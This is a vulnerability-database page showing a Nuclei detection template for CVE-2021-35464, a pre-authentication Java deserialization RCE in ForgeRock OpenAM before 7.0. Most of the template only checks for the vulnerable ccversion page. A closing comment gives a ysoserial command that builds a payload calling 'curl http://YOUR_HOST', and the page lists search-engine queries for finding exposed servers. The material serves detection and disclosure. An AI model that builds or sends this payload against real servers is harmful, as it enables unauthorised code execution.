Lucene search
K

ForgeRock OpenAM <7.0 - Remote Code Execution

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 66 Views

ForgeRock OpenAM <7.0 - Remote Code Execution. Vulnerability allows unauthenticated RCE by crafted /ccversion/* request due to Java deserialization in jato.pageSession paramete

Related
Refs
Code
id: CVE-2021-35464

info:
  name: ForgeRock OpenAM <7.0 - Remote Code Execution
  author: madrobot
  severity: critical
  description: |
    ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
    The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
    /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
    found in versions of Java 8 or earlier.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
  reference:
    - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
    - http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
    - http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
    - https://bugster.forgerock.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35464
    cwe-id: CWE-502
    epss-score: 0.99999
    epss-percentile: 0.99993
    cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: forgerock
    product: am
    shodan-query:
      - http.title:"OpenAM"
      - http.title:"openam"
    fofa-query: title="openam"
    google-query: intitle:"openam"
  tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie: JSESSIONID="

      - type: word
        part: body
        words:
          - "Version Information -"
          - "openam/ccversion/Masthead.jsp"
        condition: or

      - type: status
        status:
          - 200

# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
# digest: 4b0a00483046022100dfcd0005f8747d2a14a5af9a7ac51582fbf0aff38280f575cfd9ce7e2a5dbb13022100ec811888e2b30a7fc376d1cd843cc2878a6c57c9741310321ea6f74cec8d9821:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
9.6High risk
Vulners AI Score9.6
CVSS 3.19.8
CVSS 210
EPSS0.99999
SSVC
66